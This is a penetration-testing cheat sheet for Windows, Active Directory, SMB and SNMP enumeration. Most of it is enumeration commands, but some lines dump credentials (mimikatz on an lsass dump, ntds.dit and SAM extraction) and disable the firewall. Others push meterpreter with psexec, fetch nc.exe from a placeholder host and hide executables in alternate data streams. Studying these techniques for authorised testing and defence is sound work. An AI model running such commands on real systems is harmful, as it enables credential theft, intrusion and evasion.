Enumeration
Hack Responsibly.
Always ensure you have explicit permission to access any computer system before using any of the techniques contained in these documents. You accept full responsibility for your actions by applying any knowledge gained here.
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS = My favorite Windows enumeration script, automates most common enumeration methods.
User Enumeration
Get user information
$env:username Displays the current user's display name
Get-LocalUser | Select * Display usernames, password and account expiration, SID, Description, enabled status
Groups
[Security.Principal.WindowsIdentity]::GetCurrent() Not very good output by default, need to manipulate the object a bit to get the desired information
The below example is better. Will display group name and SIDs. Still not the same as whoami /all though.
$tableLayout = @{Expression={((New-Object System.Security.Principal.SecurityIdentifier($_.Value)).Translate([System.Security.Principal.NTAccount])).Value};Label=”Group Name”},
@{Expression={$_.Value};Label=”Group SID”},
@{Expression={$_.Type};Label=”Group Type”}
([Security.Principal.WindowsIdentity]::GetCurrent()).Claims | Format-Table $tableLayout -AutoSizeList users' home folders
Get-ChildItem 'HKLM:\Software\Microsoft\Windows NT\CurrentVersion\ProfileList' | ForEach-Object { $_.GetValue('ProfileImagePath') }Using WMI
Use either Get-WmiObject or Get-CimInstance to pull information about all local accounts. This can also be used remotely, and to query information about AD accounts.
Get-CimInstance -ComputerName $env:computername -Class Win32_UserAccount -Filter "LocalAccount=True" | Select PSComputername, Name, Status, Disabled, AccountType, Lockout, PasswordRequired, PasswordChangeable | Out-GridView
#Get Current or last logged in username
$CurrentUser = Get-CimInstance -ComputerName $Computer -Class Win32_ComputerSystem | Select-Object -ExpandProperty UserNameGet-WmiObject has been deprecated. Only use it if Get-CimInstance is not available due to outdated PowerShell version or problems with Windows Remoting. In most cases the two command names should be replaceable with no issues.
Using ADSI
$adsi = [ADSI]"WinNT://$env:computername"
$Users = $adsi.Children | where {$_.SchemaClassName -eq 'user'}
$Users | Select *Can be run on remote machines by substituting $env:computername with the computer name of the remote machine. This returns a large amount of useful information on all users.
whoami /all Includes: Username, SID, Groups (including their descriptions!), and user privileges.
echo %username% Displays the current username
net user $username Displays account and password expiration information, Logon script, User profile, Home directory, and group membership
Get list of users
Get list of local users
Get-LocalUser | Format-Table Name,Enabled,LastLogon,SIDInferring from user's home folders
Get-ChildItem C:\Users -Force | select NameUsing WMI
Get-CimInstance -class Win32_UserAccountGets display name, description, lockout status, password requirements, login name and domain, and SID.
If run on a domain connected machine dumps all accounts on the whole domain! On a non-domain joined machine lists all local users. Includes Service Accounts.
Groups
Get list of local groups
Get-LocalGroup | Format-Table Name,SID,DescriptionList group members
Get-LocalGroupMember Administrators | Format-Table Name,PrincipalSource,SIDPrincipleSource will tell you whether the account is a local, domain, or Microsoft account.
Local machine Users & Groups Enumeration
Show current username
net user %username%Show all local users
net usersShow all local groups
net localgroupShow who is inside Administrators group
net localgroup AdministratorsShow who is currently logged in
qwinstaActive Directory Users & Groups Enumeration
net user /domain
net group /domainCheck for AutoLogon accounts
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>null | findstr "DefaultUserName DefaultDomainName DefaultPassword"Active Directory
Enumeration without Active Directory module installed
# current domain info
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
# domain trusts
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
# current forest info
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
# get forest trust relationships
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()# list all DCs of a domain
nltest /dclist:test.local
net group "domain controllers" /domain
# get DC for currently authenticated session
nltest /dsgetdc:test.local
# get domain trusts from cmd shell
nltest /domain_trusts
# get user info
nltest /user:"Administrator"
# get DC for currently authenticated session
set l
# get domain name and DC the user authenticated to
klist
# get all logon sessions. Includes NTLM authenticated sessions
klist sessions
# kerberos tickets for the session
klist
# cached krbtgt
klist tgtUsing WMI Query Language (WQL)
WQL is an entire subject on its own. If you want to know the full extent of the capabilities of this powerful query language, type Get-Help WQL in a PowerShell prompt. Below are a few examples of queries to pull lists of users from both local machines and from the domain.
# The following WQL query returns only local user accounts.
$q = "Select * from Win32_UserAccount where LocalAccount = True"
Get-CimInstance -Query $q
# To find domain accounts, use a value of False, as shown in the following example.
$q = "Select * from Win32_UserAccount where LocalAccount = False"
Get-CimInstance -Query $qLAPS
LAPS allows you to manage the local Administrator password (which is randomized, unique, and changed regularly) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorized users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES.
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabledWhen using LAPS, two new attributes appear in the computer objects of the domain: ms-msc-AdmPwd and ms-mcs-AdmPwdExpirationTime. These attributes contains the plain-text admin password and the expiration time. In a domain environment, it could be interesting to check which users can read these attributes.
Find Administrator Accounts
TODO: Add more examples
Many administrators set their account passwords to never expire, so searching for these can be valuable. Also, this means the password may have been set a long time ago.
Search-ADAccount -PasswordNeverExpiresSearch for passwords
Search for keyword in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /sThe /f flag specifies the keyword to search for. In this case the word "password".
Search in Credential Manager
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\cmdkey /list
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\Check SAM and SYSTEM registry hives
If you can access these files and copy them, you can dump credentials for the system.
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\systemntdsutil
The NTDSUtil "Install from media" (IFM) feature can be used to backup NTDS.dit with the one-liner below.
ntdsutil "ac in ntds" "ifm" "cr fu c:\mybackup" q qvssown.vbs
- Check the status of the Volume Shadow Copy Service (VSS) 
cscript vssown.vbs /status2. Start the volume shadow backup service if it is not currently running.
cscript vssown.vbs /start3. Create a backup of the drive
cscript vssown.vbs /create /c4. Extract any files that were in use that are of interest (ntds.dit/SAM hive, etc.)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .File Permissions
Find files/folders where the "Everyone" group has permissions.
Get-ChildItem 'C:\Program Files\','C:\Program Files (x86)\' -Recurse | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}} 
Get-ChildItem 'C:\Program Files\','C:\Program Files (x86)\' -Recurse | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} This will recursively search the "Program Files" folders, ignoring (most) errors.
icacls "C:\Program Files\" /T /C 2>nul | findstr "Everyone"This will recursively (/T) search the "C:\Program Files\" folder, ignoring errors (/C).
More good groups to search for would be the "BUILTIN\Users" or "Domain Users" groups.
Using accesschk.exe (SysInternals)
You can also use accesschk.exe from Sysinternals to check for writeable folders and files.
accesschk.exe -qwsu "Everyone" *
accesschk.exe -qwsu "Authenticated Users" *
accesschk.exe -qwsu "Users" *OS Information
Get OS Version information
[System.Environment]::OSVersionsysteminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"Get basic Windows information
Get-ComputerInfo Gives a ton of information about the current hardware and Windows configuration
systeminfo
Gives basic hardware information, Also lists the hotfixes that have been installed.
Get installed patches
Get-CimInstance -query 'select * from win32_quickfixengineering' | foreach $_.hotfixid {Get-Hotfix}Use the -description "Security update" attribute of Get-Hotfix to list only security updates
wmic qfe get Caption,Description,HotFixID,InstalledOn
Drivers
Get a list of installed drivers
Requires an elevated PowerShell prompt:
 Get-WindowsDriver -Online -AllSpecifies that the action is to be taken on the operating system that is currently running on the local computer.
driverquery
Default log path
$env:windir\Logs\Dism\dism.log
Make back up of all installed drivers
Export-WindowsDriver -Online -Destination "C:\Backup\Path\"List Environment Variables
Show all current environment variables: Get-ChildItem Env:
Also aliased to: dir env: or ls env: or gci env:
Show all current environment variables: set
Check Audit (logging) Settings
These settings show what is being logged, this can be useful information for evasion and persistence
Get-ItemProperty -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System\AuditAdd the -Name $KeyName property to get the value of a specific key.
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
Windows Event Forwarding
Check where the logs are sent:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManagerAdd the -Name $KeyName property to get the value of a specific key.
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
Antivirus
Check if there is any antivirus installed:
function Get-AntivirusName { 
  #Enable -Verbose output, piping of input from other comdlets, and more
  [CmdletBinding()]
  #List of input parameters
  Param
  (   
    #List of ComputerNames to process
    [Parameter(ValueFromPipeline=$true,
    ValueFromPipelineByPropertyName=$true)]
    [ValidateNotNullOrEmpty()]
    [alias('Name')] #Allows for piping in of computers by name from Active Directory (Get-ADComputer)
    [string[]]
    $ComputerName = "$env:computername", 
    $Credential 
  ) 
  Begin  
  { 
    $wmiQuery = "SELECT * FROM AntiVirusProduct" 
  } 
  Process  
  {    
    $AntivirusProduct = Get-CimInstance -Namespace "root\SecurityCenter2" -Query $wmiQuery @psboundparameters         
    [array]$AntivirusNames = $AntivirusProduct.displayName    
               
    foreach ($av in $AntivirusNames) 
    {
      Out-Host "The installed antivirus products are:"
      Out-Host $av
    }
  }
} 
Get-AntivirusNameWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get DisplayName
Windows Firewall
Check the status of the Windows Firewall
Get-NetFirewallProfile -AllUse the -Name Public property (instead of -All) to select a specific firewall profile. Pipe the results to | Get-NetFirewallRule to see the currently configured rules.
sc query windefend 
netsh advfirewall firewall dump
netsh advfirewall show currentprofile
netsh advfirewall firewall show rule name=all
netsh firewall show state
netsh firewall show config
# Disable firewall
netsh firewall set opmode disableClipboard
Get the contents of the clipboard
Get-Clipboard
Software, Services, and Processes
Software
List the installed software
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' 
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWAREThe below PowerShell script will return a more complete list of all software installed by querying SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall on a list of computer names. It displays the following information:
- Computer Name, 
- Software Name, 
- Version, 
- Publisher 
function Get-SoftwareInventory
{
  #Enable -Verbose output, piping of input from other comdlets, and more
  [CmdletBinding()]
  #List of input parameters
  Param
  (   
    #List of ComputerNames to process
    [Parameter(ValueFromPipeline=$true,
    ValueFromPipelineByPropertyName=$true)]
    [ValidateNotNullOrEmpty()]
    [alias('Name')] #Allows for piping in of computers by name from Active Directory (Get-ADComputer)
    [string[]]
    $ComputerName
  )
  Begin
  {
    $SoftwareArray = @()
  }
  Process
  {
    #Variable to hold the location of Currently Installed Programs
    $SoftwareRegKey = ”SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall” 
    #Create an instance of the Registry Object and open the HKLM base key
    $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey(‘LocalMachine’,$ComputerName) 
    #Open the Uninstall subkey using the OpenSubKey Method
    $RegKey = $Reg.OpenSubKey($SoftwareRegKey) 
    #Create a string array containing all the subkey names
    [String[]]$SubKeys = $RegKey.GetSubKeyNames() 
    #Open each Subkey and use its GetValue method to return the required values
    foreach($key in $SubKeys)
    {
        $UninstallKey = $SoftwareRegKey + ”\\” + $key 
        $UninstallSubKey = $reg.OpenSubKey($UninstallKey) 
        $obj = [PSCustomObject]@{
                Computer_Name = $ComputerName
                DisplayName = $($UninstallSubKey.GetValue(“DisplayName”))
                DisplayVersion = $($UninstallSubKey.GetValue(“DisplayVersion”))
                InstallLocation = $($UninstallSubKey.GetValue(“InstallLocation”))
                Publisher = $($UninstallSubKey.GetValue(“Publisher”))
        }
        $SoftwareArray += $obj
    } 
  }
  End
  {
    $SoftwareArray | Where-Object { $_.DisplayName } | Select-Object ComputerName, DisplayName, DisplayVersion, Publisher | Format-Table -AutoSize
  }
}
Get-SoftwareInventorydir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
WMIC
wmic product get name /valueUninstall Software
$Program = Read-Host "[Type the program to uninstall here]:"
$MyProgram = Get-CimInstance -Class Win32_Product | Where-Object {$_.Name -eq “$Program”}
$MyProgram.uninstall()If Get-CimInstance is not able to find your software, you can try this instead:
Get-Package -Provider Programs -IncludeWindowsInstaller -Name “$Program” | Uninstall-PackageTo get PowerShell to display all the programs in the Control Panel, use an asterisk in place of the Name parameter.
wmic product where name="$program" call uninstall /INTERACTIVE:OFFServices
Get a list of services:
Get-Service
Get a list of services:
net start
wmic service list brief
sc query
Get detailed information for a specific service
sc qc $service_name
To use this command in PowerShell you need to specify sc.exe instead of sc. In PowerShell sc is an alias for Set-Content and will not give the expected output.
Enable a disabled service
If you are having this error (for example with SSDPSRV):
System error 1058 has occurred. The service cannot be started, either because it is disabled or because it has no enabled devices associated with it. You can enable it using:
sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= ""Note: In Windows XP SP1, the service upnphost depends on SSDPSRV to work
Unquoted service paths
Unquoted service paths are paths to services that contain a space in them, that are not surrounded by quotes. These paths can be hijacked to run arbitrary code if the break in the path is a writeable location.
Get-CimInstance -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Namewmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """Get running processes
Get-Process
With usernames of process owner
Get-CimInstance -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize*Admin rights needed to pull owner information
Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Idtasklist list running processes
tasklist Options
Use
/svc
List all the service information for each process
/fo $format
Change output format [table is default]
/s $ComputerName
Run on remote computer [Computer Name or IP]\
/u $username
Username if credentials are needed
/p $password
Password if credentials are needed
/v
Verbose output
Get permissions of running process binaries
$process = (Get-Process | Where-Object {$_.Path -NotMatch "system32"} ).Path
$process | Where-Object { $_ -NE $null } | Foreach-Object {
  Get-Acl $_ -ErrorAction SilentlyContinue
} |
Out-GridViewfor /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
  for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
    icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
  )
)
pausePut this inside a batch script. Do not try to run from the command line otherwise it will not function.
Make sure to also check permissions of the folders of the process binaries (useful for dll injection!)
Get current network connections
View TCP port connections with PowerShell
Get-NetTCPConnection
This cmdlet is for TCP connections ONLY! UDP information must be queried separately. See**Get-NetUDPEndpoint ** below.
Get listening connections:
Get-NetTCPConnection | ? {$_.State -eq "Listen"}Check for anything that’s listening from any remote address:
Get-NetTCPConnection | ? {($_.State -eq "Listen") -and ($_.RemoteAddress -eq "0.0.0.0")}To get connection information for a specific port use the -LocalPort $port attribute.
Since this cmdlet returns objects, you can use these objects to return other information, such as getting the process ID associated with each connection:
$processes = (Get-NetTCPConnection | ? {($_.State -eq "Listen") -and ($_.RemoteAddress -eq "0.0.0.0")}).OwningProcess
foreach ($process in $processes) {Get-Process -PID $process | select ID,ProcessName}View UDP port connections with PowerShell
Get-NetUDPEndpoint | Select-Object -Property LocalAddress,LocalPort,OwningProcess |ft To show listening ports filter for the address 0.0.0.0:
Get-NetUDPEndpoint | Where {$_.LocalAddress -eq "0.0.0.0"}Use the -CimSession $CimSession Parameter to run this on a remote computer after creating a New-CimSession.
netstat -ano
PowerShell netstat implementation
Shows TCP and UDP connections, with the following properties: Local Address, Local Port, Remote Address, Remote Port, Connection State, Process Name, and PID
TODO: Make this fully PowerShell implemented, without netstat
function Get-NetworkStatistics 
    { 
        $properties = ‘Protocol’,’LocalAddress’,’LocalPort’ 
        $properties += ‘RemoteAddress’,’RemotePort’,’State’,’ProcessName’,’PID’
        netstat -ano | Select-String -Pattern ‘\s+(TCP|UDP)’ | ForEach-Object {
            $item = $_.line.split(” “,[System.StringSplitOptions]::RemoveEmptyEntries)
            if($item[1] -notmatch ‘^\[::’) 
            {            
                if (($la = $item[1] -as [ipaddress]).AddressFamily -eq ‘InterNetworkV6’) 
                { 
                   $localAddress = $la.IPAddressToString 
                   $localPort = $item[1].split(‘\]:’)[-1] 
                } 
                else 
                { 
                    $localAddress = $item[1].split(‘:’)[0] 
                    $localPort = $item[1].split(‘:’)[-1] 
                } 
                if (($ra = $item[2] -as [ipaddress]).AddressFamily -eq ‘InterNetworkV6’) 
                { 
                   $remoteAddress = $ra.IPAddressToString 
                   $remotePort = $item[2].split(‘\]:’)[-1] 
                } 
                else 
                { 
                   $remoteAddress = $item[2].split(‘:’)[0] 
                   $remotePort = $item[2].split(‘:’)[-1] 
                } 
                New-Object PSObject -Property @{ 
                    PID = $item[-1] 
                    ProcessName = (Get-Process -Id $item[-1] -ErrorAction SilentlyContinue).Name 
                    Protocol = $item[0] 
                    LocalAddress = $localAddress 
                    LocalPort = $localPort 
                    RemoteAddress =$remoteAddress 
                    RemotePort = $remotePort 
                    State = if($item[0] -eq ‘tcp’) {$item[3]} else {$null} 
                } | Select-Object -Property $properties 
            } 
        } 
    }
    Get-NetworkStatistics | Format-TableUDP info for updating above script (this example only shows connections for port 1900)
$LOCALPORT = "1900"
$CONNECTIONS = Get-NetUDPEndpoint | Select-Object -Property LocalPort, @{name='ProcessID';expression={(Get-Process -Id $_.OwningProcess). ID}}, @{name='ProcessName';expression={(Get-Process -Id $_.OwningProcess).Path}}
ForEach ($Connection in $CONNECTIONS)
{
    If ($Connection.LocalPort -eq $LOCALPORT)
    {
        $Connection
    }
}https://github.com/carlospolop/hacktricks/blob/master/windows/basic-cmd-for-pentesters.md#network (TODO:check for more network enumeration info here)
Startup/AutoRuns
Check which files are executed when the computer is started, or a user is logged in.
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup" -Force
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup" -Force
Get-ChildItem "C:\Users\$env:USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" -Forcewmic startup get caption,command 2>nul
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul & ^
dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul & ^
dir /b "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul & ^
dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab"SysInternals AutoRuns
For a comprehensive list of auto-executed files you can use AutoRuns from SysInternals
To run this from a command prompt without popup windows:
autorunsc.exe -m -nobanner -a * -ct /accepteula
SMB/Samba
Port 139 and 445
Server Message Block is a service that enables the user to share files with other machines. May be able to browse files without having credentials (Null Session).
SMB Enumeration Checklist
- Enumerate Hostname - nmblookup -A $ip
 
- List Shares - smbmap -H $computer
- echo exit | smbclient -L \\\\$ip
- nmap --script smb-enum-shares -p 139,445 $ip
 
- Check Null Sessions - smbmap -H $computer
- rpcclient -U "" -N $ip
- smbclient \\\\$ip\\$share_name
 
- Check for Vulnerabilities - nmap --script smb-vuln* -p 139,445 $ip
 
- Overall Scan - enum4linux -a $ip
 
- Manual Inspection - smbver.sh $ip $port
- Use Wireshark to check pcap 
 
List share drives
smbclient --list $ip
smbclient -L $ip
smbmap -H $computerFind all connected drives
This can show all connected hard drives, not only network fileshares
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,RootListing all PSDrives can also give you valuable information, showing how to access environment variables, certificates, registry keys, temp folders, and more.
Check for SMB vulnerabilities:
nmap --script=smb-check-vulns.nse $ip -p 445SMB nmap scripts to enumerate shares and OS discovery
nmap -p 139,445 $ip_range --script smb-enum-shares.nse smb-os-discovery.nseConnect using Username
smbclient -L $ip -U $UserName -p 445Connect to Shares
smbclient \\\\$ip\\$ShareName
smbclient \\\\$ip\\$ShareName -U $UserNameEnumerate SMB shares
enum4linux -a $ip-a "do everything" option
Get machine name and then enumerate with smbclient
nmblookup -A $ip
smbclient -L $server_name -I $iprpcclient
Connect with a null session
rpcclient -U $UserName $ip
rpcclient -U "" $ip
#press enter if it asks for a passwordCommon Checks
rpcclient $> srvinfo
rpcclient $> enumdomusers
rpcclient $> enumalsgroups domain
rpcclient $> lookupnames administrators
rpcclient> querydominfo
rpcclient> enumdomusers
rpcclient> queryuser johnscan for vulnerabilities with nmap
nmap --script smb-vuln* -p 139,445 $ipUse TCPdump/Wireshark to get version
@rewardone in the PWK forums posted a script to gather Samba versions:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
sleep 0.5 && echo ""To get Windows SMB information open the pcap in Wireshark and filter on ntlmssp.ntlmv2_response
SNMP
SNMP is based on UDP, a simple, stateless protocol, and is therefore susceptible to IP spoofing, and replay attacks. In addition, the commonly used SNMP protocols 1, 2, and 2c offer no traffic encryption, meaning SNMP information and credentials can be easily intercepted over a local network.
MIB Tree (Management Information Base)
- (MIB) is a database containing information usually related to network management. 
- The database is organized like a tree, where branches represent different organizations or network functions. The leaves of the tree (final endpoints) correspond to specific variable values that can then be accessed, and probed, by an external user. 
Scanning for SNMP
SNMP most often uses UDP port 161.
nmap -sU --open -p 161 192.168.11.200-254 -oN snmp.txtYou can use a tool such as onesixtyone, which will check for given community strings against an IP list, allowing you to brute force various community strings from a list.
echo public > community
echo private >> community
echo manager >> community
for ip in $(seq 1 254);do echo 10.10.10.$ip;done > ips
onesixtyone -c community -i ipsWe can probe and query SNMP values using a tool such as snmpwalk once you know the SNMP read-only community string (which in most cases is “public”).
# Enumerating the Entire MIB Tree
snmpwalk -c public -v1 $ip
# Enumerating Windows Users:
snmpwalk -c public -v1 $ip 1.3.6.1.4.1.77.1.2.25
# Enumerating Running Windows Processes:
snmpwalk -c public -v1 $ip 1.3.6.1.2.1.25.4.2.1.2
# Enumerating Open TCP Ports:
snmpwalk -c public -v1 $ip 1.3.6.1.2.1.6.13.1.3
# Enumerating Installed Software:
snmpwalk -c public -v1 $ip 1.3.6.1.2.1.25.6.3.1.2The notation 1.3.6.1.2.1.25.6.3.1.2 is the MIB, which is the shorthand SNMP uses to perform queries.
You can also use snmpenum and snmpcheck to gather information.
snmpcheck -t 10.10.10.1 -c public
snmpenum -t 10.10.10.1- TODO: Everything below from the above site...in the process of verification, cleanup, and assimilation. 
Windows CLI gems. Tweets of @wincmdfu
Windows one line commands that make life easier, shortcuts and command line fu.
Get entries from IPv4 neighbor cache
C:\>netsh interface ipv4 show neighborsGet available wireless networks via cmd and netsh
C:\>netsh wlan show networks mode=bQuick list IP addresses only
Save the following in ip.bat in %PATH%
C:\>ipconfig | find /I "pv"Call ip from CLI
List ALL services AND their binaries
for /F "tokens=2* delims= " %i in ('sc query ^| find /I "ce_name"') do @sc qc %i %jExport SAM from the Windows Registry to a file
C:\>reg save HKLM\SAM "%temp%\SAM.reg"Enable remote desktop using reg
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /fEnable the boot log to see list of drivers loaded during startup
bcdedit /set bootlog yesRead via %windir%\ntbtlog.txt
Powershell cmdlet to create System Restore Point
PS C:\>Checkpoint-Computer -description "Restore point!"Check the current account for seDebugPrivilege
C:\> whoami /priv | findstr "Debug"For all privs:
C:\> whoami /privEnable/disable system users via command line
C:\>net user test /active:yes (no)Get full help on the net user command:
C:\>net help userView process that is consuming the most memory using powershell
PS C:\> (Get-Process | Sort-Object -Descending WS)[0]Create an Alternate Data Stream from a file on an NTFS partition
C:\>type data.txt > C:\windows\explorer.exe:newads.txtExport running processes in CSV format
C:\> tasklist /FO CSV > tasks.txtLock Windows desktop using command line
C:\> rundll32 user32.dll,LockWorkStationStart explorer with a file or folder selected/highlighted
C:\> explorer /select,C:\MyData\sample.docxDump VirtualBox image containing RAM and ELF headers
C:\>vboxmanage debugvm "WinXPLab1" dumpguestcore --filename winxplab1.elfSet Time Zone of the system clock
C:\> tzutil /s "Eastern Standard Time"List available Time zones:
C:\> tzutil /lMake folder inside a guest from the host
VirtualBox
C:\> vboxmanage guestcontrol "WinXP" md "C:\\test" --username "user" --password "pass"Force copy meterpreter binary to remote machines & run as system
C:\> psexec @$ips.txt -s -u adminuser -p pass -f -c \exploits\mp.exeCreate n/w share called Apps, with read access & limit to 10 conns
Apps, with read access & limit to 10 connsC:\> net share Apps=C:\Apps /G:everyone,READ /US:10List all the drives under My Computer using fsutil
C:\> fsutil.exe fsinfo drivesTroubleshoot n/w packet drops with router statistics using pathping
C:\> pathping -n www.google.comList unsigned dlls for a specific process.
For system wide list, remove the process name
C:\> listdlls -u explorer.exeObtain a list of Windows XP computers on the domain using PS
Server2008
PS C:\> Get-ADComputer -filter {OperatingSystem -like "*XP*"}Open the System Properties window, with the Advanced tab selected
Advanced tab selectedChange the number for different tabs
C:\> control sysdm.cpl,,3Using the dir command to find Alternate Data Streams
dir command to find Alternate Data StreamsC:\> dir /R | find ":$D"Using streams sysinternals (shows path):
C:\> streams -s .Use procdump to obtain the lsass process memory.
procdump to obtain the lsass process memory.Use mimikatz minidump to get passwords
C:\> procdump -accepteula -ma lsass.exe mini.dmpRun mimikatz in minidump mode & use mini.dmp from procdump
mimikatz in minidump mode & use mini.dmp from procdumpmimikatz # sekurlsa::minidump mini.dmp
mimikatz # sekurlsa::logonPasswordsGet list of startup programs using wmic
C:\> wmic startup list fullAdd a binary to an Alternate Data Stream
C:\> type c:\tools\nc.exe > c:\nice.png:nc.exeExecute it (XP/2K3):
C:\> start c:\nice.png:nc.exeExecute a binary Alternate Data Stream Win 7/2008 using wmic
C:\> wmic process call create C:\nice.png:nc.exeShow config & state info for Network Access Protection enabled client
https://technet.microsoft.com/en-us/library/cc730902(v=ws.10).aspx
C:\> netsh nap client show configurationGet computer system information, including domain name and memory, using wmic
C:\> wmic computersystem list /format:csvUse the Package Manager in Windows to install the Telnet client on Windows Vista & higher
C:\> pkgmgr /iu:"TelnetClient"Secure delete a file/folder in Windows
Sysinternals
C:\> sdelete -p 10 a.txtTo recursively delete folders:
C:\> sdelete -10 -r C:\data\Show all startup entries while hiding Microsoft entries. CSV output
It covers more locations than Windows inbuilt tools
C:\> autorunsc -m -cDownload files via commandline using PS
PS C:\> ipmo BitsTransfer;Start-BitsTransfer -Source http://foo/nc.exe -Destination C:\Windows\Temp\Fetch the last 10 entries from the Windows Security event log, in text format
C:\> wevtutil qe Security /c:10 /f:Textdef is XML
Create a dll that runs calc on invoke
msfpayload windows/exec cmd=calc.exe R | msfencode -t dll -o rcalc.dll
C:\> rundll32.exe rcalc.dll,1Run a command as another user
You will be prompted for password
C:\> runas /noprofile /user:domain\username "mmc wf.msc"Get shutdown/reboot events from the last 1000 log entries using PS
Get-EventLog -log system -n 1000 | Where {$_.eventid -eq '1074'} | fl -pr *Create a new snapshot of the volume that has the AD database and log files
C:\> ntdsutil sn "ac i ntds" create quit quitMount the snapshot
Copy ntds.dit from snapshot & System hive from reg for pwd hashes
C:\> ntdsutil snapshot "list all" "mount 1" quit quitRun a process on a remote system using wmic
